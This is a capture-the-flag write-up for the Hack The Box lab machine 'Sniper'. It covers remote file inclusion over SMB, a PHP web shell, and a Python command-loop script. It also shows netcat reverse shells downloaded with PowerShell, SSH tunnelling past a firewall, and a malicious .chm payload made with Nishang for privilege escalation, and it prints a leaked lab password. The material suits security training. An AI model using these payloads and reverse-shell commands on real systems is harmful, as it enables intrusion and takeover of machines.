Sniper was a pretty fun machine that put an interesting spin on a couple of older attack techniques. Unlike some other machines that I’ve come across lately, its difficulty rating is pretty accurate. Overall, exploitation is fairly straightforward apart from a couple of interesting twists - for example having to serve RFI payloads via SMB, and the use of .chm files for client-side attacks. There are currently multiple active machines in the HTB labs that require client-side attacks at the moment. They’re definitely an interesting vector but consistently emulating user behaviour can make the reliablility of exploitation janky in the HTB labs. This one wasn’t too bad compared to others :)



  • Directory brute-force
  • Remote File Inclusion (via SMB)
  • PHP web-shell
  • Firewall evasion (tunneling via SSH)
  • Privilege escalation via client-side attack (using nishang)

Port Scan

nmap -sC -sV -p- -v -o nmap-sniper.txt

Not shown: 65530 filtered ports
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m39s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-02-06T16:25:54
|_  start_date: N/A

Web Enumeration

As we can see there aren’t a whole lot of open ports to start poking at. I began by browsing to the website on port 80. Image

Browsing and inspecting source code doesn’t immediately reveal anything useful. I always like to run scans / automation tools up-front for efficiency and directory brute-forcing should happen early! My tool of choice is gobuster by OJ Reeves.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Here’s a snippet of the output after first running gobsuter:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/02/06 03:16:34 Starting gobuster
/images (Status: 301)
/blog (Status: 301)
/user (Status: 301)
/Images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/Blog (Status: 301)

The two most interesting entries were /blog and /user. After poking around both sites and running additional scans, I managed to find one interesting artifact that might prove useful. The /blog site allows users to select a language. If a user selects a language from the navbar, a GET request is made to the blog site but a parameter is added: ?lang=blog-en.php


It looks like the page is loading the english version of the site’s content from the file blog-en.php using PHP’s include statement. According to the manual, “The include statement includes and evaluates the specified file.”. If any user has control over which file is “include”-ed on a web page, this is known as a File Inclusion Vulnerability.

A local file inclusion (LFI) vuln allows users to include (and therefore eval/run) other executable files on the filesystem of the vulnerable server. Remote file inclusion (RFI) takes it a step further, allowing users to serve their own executable files from a remote host, and have them executed on the remote server via the include statement. Some webapp configurations can mean that the ‘remote’ include is disbaled, so that only LFI is possible. Other times, the much safer readfile() function will be used instead of include, meaning a webapp isn’t vulnerable to file inclusion at all.

For this reason I always like to test for LFI first, and if successful, then try for RFI. While poking around before, I could see that a custom 404 page was being served if I requested a resource that didn’t exist - using the help of a file on the server at /blog/js/error.js. This seemed like a good target to try and confirm LFI before testing for RFI The image below shows that it worked! The code wasn’t executed because it isn’t valid PHP.


Web Exploitation

With this information I was able to start testing for RFI and had no luck at all trying to include remote files via HTTP. To do this I ran the python module SimpleHTTPServer on my kali machine and tried connecting to it with variations of the following: Next I tried SMB and had success! I used Impacket’s on kali and had remote machine to connect to my share.


Unfortunately I wasn’t able to fix the error with “Handle: [Error 104] Connection reset by peer”, and was never able to successfully serve a php file this way (if anyone knows what’s going on here please let me know). So instead I resorted to creating my own SMB share and configuring smbd to serve up my payload. Below are the steps for exploitation.

  1. Modify /etc/samba/smb.conf as follows to set up a guest accessible share out of /tmp
    path = /tmp
    writeable = no
    guest ok = yes
    guest only = yes
    read only = yes
    directory mode = 0555
    force user = nobody
  2. Write a PHP payload to /tmp - I went for something nice and simple: `<?php echo(shell_exec($_GET[‘cmd’])); >?
  3. Start the smb service: service smbd start
  4. Make the HTTP GET request:\\\share\shell.php&cmd=ipconfig


And now I’ve confirmed that I can execute code on the server!

Next, I quickly wrote a script that would make sending further commands easier and faster while I tried to work out what accesses I had and attempted to upgrade my shell. It’s pretty crappy (especially my attempt at filtering command output) and the OPSEC considerations of continually smashing the server with commands via RFI like this are significant.

#!/usr/bin/env python3

import requests
import sys
from bs4 import BeautifulSoup

# ensure smbd is running and a shell is in the share before running this
# shell = "<?php echo(shell_exec($_GET['cmd'])); ?>"

# Take local ip address as first command-line argument
lhost = sys.argv[1]

target = "\\\\" + lhost + "\share\shell.php"

while True:
  # Display a little command prompt
  cmd = input("$> ")
  # Send the command to the target
  r = requests.get(target + "&cmd=" + cmd)

  # Check that the HTTP request was successful, then filter HTML to only include the output of the command
  if r.status_code == 200:
    soup = BeautifulSoup(r.content, features='lxml')
    output = ""
    count = 0
    for line in soup.findAll('body')[-1].get_text().split('\n'):
      if count >= 46:
        output += line + '\n'
      count += 1

I used my crappy shell to have a quick poke around before upgrading to a netcat reverse shell. The steps were:

  1. Set up HTTP Server and netcat listener
    • python -m SimpleHTTPServer 80
    • nc -nvlp 443
  2. Transfer the netcat binary across to the server using PowerShell’s Invoke-WebRequest cmdlet - I picked a directory that I assumed would be writeable
    • Powershell IWR -URI -OutFile c:\windows\system32\spool\drivers\color\nc.exe
  3. Execute netcat to get a reverse shell
    • c:\windows\system32\spool\drivers\color\nc.exe 443 -e cmd

Here’s the result:


Privilege Escalation

WinRM - Firewall Evasion

Now that I have a shell as NT Authority\iusr I’ll begin enumerating the host, including checking permissions and configurations. I managed to find a few interesting things… Firstly, the other application /user picked up before with gobuster had a database config file in its root directory with credentials. The file was located at C:\inetpub\wwwroot\user\db.php

// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  echo "Failed to connect to MySQL: " . mysqli_connect_error();

Host enumeration also shows the machine listening on port 5985, meaning Windows Remote Management/PSRemoting is probably enabled but blocked at the firewall. This would explain why nmap didn’t reprot 5985 as open in my earlier scan.


Putting all of this information together gives me a path to attempt escalation. Using my existing shell, I can upload a tool to port-forward, creating a reverse tunnel back to my kali VM. Once the tunnel is established, I can test the password I’ve found against existing user accounts to see if I can escalate to a regular user. net user showed only one other local user account besides Administrator: Chris, so I’ll check if he’s re-used his password. The steps are as follows:

  1. Create a dummy user on my kali VM to be the ssh target for my reverse tunnel, then start sshd.
    • useradd -s /bin/rbash -d /home/pleb pleb
    • service ssh start
    • I also need to set a password for our new pleb user: passwd pleb
  2. Set up a HTTP server to send my tunneling tool. For tunnelling, I’ll be using plink.exe (the CLI version of putty). Another option for tunnelling would have been executing meterpreter and using its portfwd command.
    • cp /usr/share/windows-resources/binaries/plink.exe .
    • python -m SimpleHTTPServer 80
  3. Use my existing shell to download plink.exe and create a reverse SSH tunnel. The tunnel will forward all TCP traffic outbound from my Kali VM on port 5985 to Sniper’s TCP port 5985 through the ssh session and via Sniper’s loopback address - therefore bypassing the ‘block inbound’ rule. Tunnelling this way can sometimes be conceptually confusing at first, so here’s a good reference :)
    • (From Sniper) Powershell Invoke-WebRequest -URI -OutFile C:\Windows\System32\Spool\Drivers\Color\plink.exe
    • C:\Windows\System32\Spool\Drivers\Color\plink.exe -l pleb -pw Test123! -R 5985:
    • Here’s where I’m at so far: Image
  4. Now to try Powershell Remoting through my tunnel from Kali. There are a few ways to do this and in another post I’ll show the use of evil-winrm, but for now I’ll just use a simple ruby script that I found here.
    • First, install the package ruby needs for the script to run gem install winrm … easy!
    • Then edit the IP address and credentials in the script which should look like this:
     require 'winrm'
     conn =
       endpoint: '',
       user: 'Chris',
       password: '36mEAhz/B8xQ~2VM',
 do |shell|
         until command == "exit\n" do
             print "PS > "
             command = gets        
             output = do |stdout, stderr|
                 STDOUT.print stdout
                 STDERR.print stderr
         puts "Exiting with code #{output.exitcode}"
    • All that’s left to do is run the script, and discover that Chris has been re-using his passwords! ruby winrm.rb pwd Image

Client-Side Attack via .chm File

I started poking around the filesystem with my shell as Chris and found a couple of interesting things. First, in Chris’ Downloads folder was a file instructions.chm (compiled HTML format - often used for displaying “help”). Secondly, the directory C:\Docs looked unusual, and a file inside called note.txt contained the following:

Hi Chris,
	Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Sniper CEO.

I transferred instructions.chm across to my Kali VM with netcat and inspected it with xCHM.


A bit harsh maybe, but if I can create a malicious .chm that executes my own code and drop it in C:\Docs, hopefully the CEO should open it, running our code in his user context (ideally as Administrator).

The offensive Powershell framework Nishang can help with this! It contains a module called Out-CHM for generating malicious CHM payloads. I couldn’t run this script in Kali or on the target because it requires the HTML Help Workshop binary (hhc.exe), which isn’t on either. I jumped across to a Windows VM to set it up and used a basic payload - it’s a “Powershell script” that just sends me a new netcat reverse shell using the binary I’ve already transferred across.

  • I Download and install the HTML Help Workshop from
  • shell.ps1 simply contained: C:\windows\system32\spool\drivers\color\nc.exe 4444 -e cmd.exe


Now that I have my malicious .chm file, I just need to transfer it to C:\Docs with my .ps1 payload and wait to catch a shell…


And That’s it! Thanks for reading :) As always, if you’d like to give feedback please email me at